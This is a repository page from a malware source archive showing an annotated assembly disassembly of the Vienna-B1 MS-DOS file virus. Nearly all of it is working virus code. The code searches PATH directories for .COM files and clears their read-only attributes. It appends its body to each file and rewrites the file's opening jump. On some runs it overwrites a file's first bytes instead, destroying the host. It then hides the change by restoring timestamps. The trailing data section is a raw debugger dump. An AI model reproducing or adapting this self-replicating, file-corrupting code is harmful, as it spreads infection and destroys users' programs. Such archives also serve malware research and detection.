ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-20 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
6bf46a48b9
MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.viennaas.asm
vxunderground 6bf46a48b9
Add files via upload
2021-01-12 18:04:54 -06:00

332 lines
14 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; disassembly of vienna-b1 virus
jmp label1
message:
db "ello, world!$" ;*************
mov ah,09h ;print string ; part of *
mov dx,message ;point to string ; original *
int 21h ;call msdos ; com file. *
int 20h ;terminate program ;*************
label1:
push cx ;
mov dx,0312h ;start of variables
cld ;clear direction
mov si,dx ;si = start of variables
add si,000Ah
mov di,0100h ;destination = 0100h
mov cx,0003 ;three bytes to move
repz movsb
mov si,dx ;si = 0312h (start of variables)
mov ah,30h ;get dos version number
int 21h ;call msdos
cmp al,00h ;old version?
jnz label2 ;no
jmp label3 ;yes
label2:
push es ;store extra segment
mov ah,2fh ;get DTA address
int 21h ;call msdos
mov [si+0000h],bx ;save DTA offset
mov [si+0002],es ;save DTA segment
pop es ;restore extra segment address
mov dx,005fh ;
nop
add dx,si ;pointer to new DTA address
mov ah,1ah ;set DTA address
int 21h ;call msdos
push es ;save extra segment address again
push si ;save source index register
mov es,[002ch]
mov di,0000h
label4:
pop si
push si
add si,001ah
lodsb ;get byte from source address
mov cx,8000h ;
repnz scasb
mov cx,0004h ;
label7:
lodsb ;get byte from source
scasb ;store byte
jnz label4 ;jump back till done
loop label7
pop si ;restore source index register
pop es ;and extra segment
mov [si+0016h],di
mov di,si
add di,001fh
mov bx,si
add si,001fh
mov di,si
jmp label5
label13:
cmp word ptr [si+0016h],00h
jnz label5
jmp label6
push ds
push si
es mov ds,[002ch]
mov di,si
es mov si,[di+0016h]
add di,001fh
label10:
lodsb ;get byte
cmp al,3bh
jz label8
cmp al,00h
jz label9
stosb ;store byte
jmp label10
label9:
mov si,0000h
label8:
pop bx
pop ds
mov [bx+0016h],si
cmp byte ptr [di-01h],5ch
jz label5
mov al,5ch
stosb ;store byte
label5:
mov [bx+0018h],di
mov si,bx
add si,0010h
mov cx,0006h
repz movsb
mov si,bx
mov ah,4eh ;search for first match
mov dx,001fh ;pointer to asciiz file spec.-si
nop
add dx,si ;pointer to asciiz file spec.
mov cx,0003h ;attribute to us in search match
int 21h ;call msdos
jmp label11
label14:
mov ah,4fh ;search for next match
int 21h ;call msdos
label11:
jnb label12
jmp label13
label12:
mov ax,[si+0075h]
and al,1fh
cmp al,1fh
jz label14
cmp word ptr [si+0079h],0fa00h
ja label14
cmp word ptr [si+0079h],0ah
jb label14
mov di,[si+0018h]
push si
add si,007dh
label15:
lodsb
stosb
cmp al,00h
jnz label15
pop si
mov ax,4300h ;get file attributes
mov dx,001fh ;pointer to asciiz file spec. -si
nop
add dx,si ;pointer to file spec.
int 21h ;call msdos
mov [si+0008h],cx
mov ax,4301 ;set file attributes
and cx,0fffeh ;new attributes
mov dx,001fh ;pointer to asciiz file spec. -si
nop
add dx,si ;pointer to asciiz file spec.
int 21h ;call msdos
mov ax,3d02h ;open file (handle)
mov dx,001fh ;pointer to asciiz file spec. -si
nop
add dx,si ;pointer to asciiz file spec.
int 21h ;call msdos
jnb label16
jmp label17
label16:
mov bx,ax
mov ax,5700h ;get time and date
int 21h ;call msdos
mov [si+0004],cx ;store time
mov [si+0006],dx ;store date
mov ah,2ch ;get system time
int 21h ;call msdos
and dh,07h
jnz label18
mov ah,40h ;write to file or device (handle)
mov cx,0005h ;number of bytes to write
mov dx,si ;get file spec. address -8ah
add dx,008ah ;add 8ah to get file spec. address
int 21h ;call msdos
jmp label19
nop
label18:
mov ah,3fh ;read file or device (handle)
mov cx,0003h ;number of bytes to read
mov dx,000ah ;point to buffer -si
nop
add dx,si ;pointer to buffer area
int 21h ;call msdos
jb label19
cmp ax,0003h ;number of bytes read
jnz label19
mov ax,4202h ;move file pointer
;offset from end of file
mov cx,0000h ;offset desired
mov dx,0000h ;as above
int 21h ;call msdos
jb label19
mov cx,ax
sub ax,0003h
mov [si+000eh],ax
add cx,02f9h
mov di,si
sub di,01f7h
mov [di],cx
mov ah,40h ;write to file or device (handle)
mov cx,0288h ;number of bytes to write
mov dx,si ;
sub dx,01f9h ;dx = pointer to buffer of data write
int 21h ;call msdos
jb label19
cmp ax,0288h ;288h bytes written?
jnz label19
mov ax,4200h ;move file pointer
;offset from beginning of file
mov cx,0000h ;desired offset
mov dx,0000h ;desired offset
int 21h ;call msdos
jb label19
mov ah,40h ;write to file or device (handle)
mov cx,0003h ;number of bytes to write
mov dx,si ;
add dx,000dh ;pointer to buffer of data write
int 21h ;call msdos
label19:
mov dx,[si+0006h]
mov cx,[si+0004h]
and cx,0ffe0h
or cx,001fh
mov ax,5701h ;set date and time
int 21h ;call msdos
mov ah,3eh ;close file
int 21h ;call msdos
label17:
mov ax,4301h ;set file attributes
mov di,[si+0008h]
mov dx,001fh ;pointer to asciiz file spec. -si
nop
add dx,si ;pointer to ascii file spec.
int 21h ;call msdos
label6:
push ds ;save data segment
mov ah,1ah ;set DTA address
mov dx,[si+0000] ;retrieve original DTA
mov ds,[si+0002] ;and data segment of dta
int 21h ;call msdos
pop ds ;restore DTA
label3:
pop cx
xor ax,ax ;clear accumulator
xor bx,bx ;and bx
xor dx,dx ;and dx
xor si,si ;and si
mov di,0100h ;pointer to execution program to be
;run now virus has finished
push di
xor di,di ;clear di
ret 0ffffh ;?
start_of_variables:
0312 80003E ADD BYTE PTR [BX+SI],3E
0315 40 inc ax
0316 D592 AAD 92
0318 8511 TEST dx,[BX+DI]
031A 2000 AND [BX+SI],AL
031C EB0E JMP 032ch ;jump address to place at
;beginning of source program
031E 48 DEC ax
031F E91600 JMP 0338
db "*.COM"
0327 0027 ADD [BX],ah
0329 0022 ADD [BP+SI],ah
032B 03
db "PATH=DANGER!.COM EM.COM"
032C 5041 ADD dx,[BX+SI+41]
032E 54 push SP
032F 48 DEC ax
0330 3D4441 cmp ax,4144
0333 4E DEC SI
0334 47 inc DI
0335 45 inc BP
0336 52 push dx
0337 212E434F AND [4F43],BP
033B 4D DEC BP
033C 00454D ADD [DI+4D],AL
033F 2E CS:
0340 43 inc BX
0341 4F DEC DI
0342 4D DEC BP
0343 0000 ADD [BX+SI],AL
0345 43 inc BX
0346 4F DEC DI
0347 4D DEC BP
0348 0020 ADD [BX+SI],ah
034A 2020 AND [BX+SI],ah
034C 2020 AND [BX+SI],ah
034E 2020 AND [BX+SI],ah
0350 2020 AND [BX+SI],ah
0352 2020 AND [BX+SI],ah
0354 2020 AND [BX+SI],ah
0356 2020 AND [BX+SI],ah
0358 2020 AND [BX+SI],ah
035A 2020 AND [BX+SI],ah
035C 2020 AND [BX+SI],ah
035E 2020 AND [BX+SI],ah
0360 2020 AND [BX+SI],ah
0362 2020 AND [BX+SI],ah
1463:0364 2020 AND [BX+SI],ah
1463:0366 2020 AND [BX+SI],ah
1463:0368 2020 AND [BX+SI],ah
1463:036A 2020 AND [BX+SI],ah
1463:036C 2020 AND [BX+SI],ah
1463:036E 2020 AND [BX+SI],ah
1463:0370 2003 AND [BP+DI],AL
1463:0372 3F AAS
1463:0373 3F AAS
1463:0374 3F AAS
1463:0375 3F AAS
1463:0376 3F AAS
1463:0377 3F AAS
1463:0378 3F AAS
1463:0379 3F AAS
1463:037A 43 inc BX
1463:037B 4F DEC DI
1463:037C 4D DEC BP
1463:037D 0305 ADD ax,[DI]
1463:037F 001F ADD [BX],BL
1463:0381 0020 ADD [BX+SI],ah
1463:0383 64 DB 64
1463:0384 7269 JB 03EF
1463:0386 20D5 AND CH,DL
1463:0388 92 XCHG dx,ax
1463:0389 8511 TEST dx,[BX+DI]
1463:038B 1900 SBB [BX+SI],ax
1463:038D 0000 ADD [BX+SI],AL
1463:038F 44 inc SP
1463:0390 41 inc cx
1463:0391 4E DEC SI
1463:0392 47 inc DI
1463:0393 45 inc BP
1463:0394 52 push dx
1463:0395 212E434F AND [4F43],BP
1463:0399 4D DEC BP
1463:039A 0000 ADD [BX+SI],AL
1463:039C EA0B021358 JMP 5813:020B

Reference in New Issue View Git Blame Copy Permalink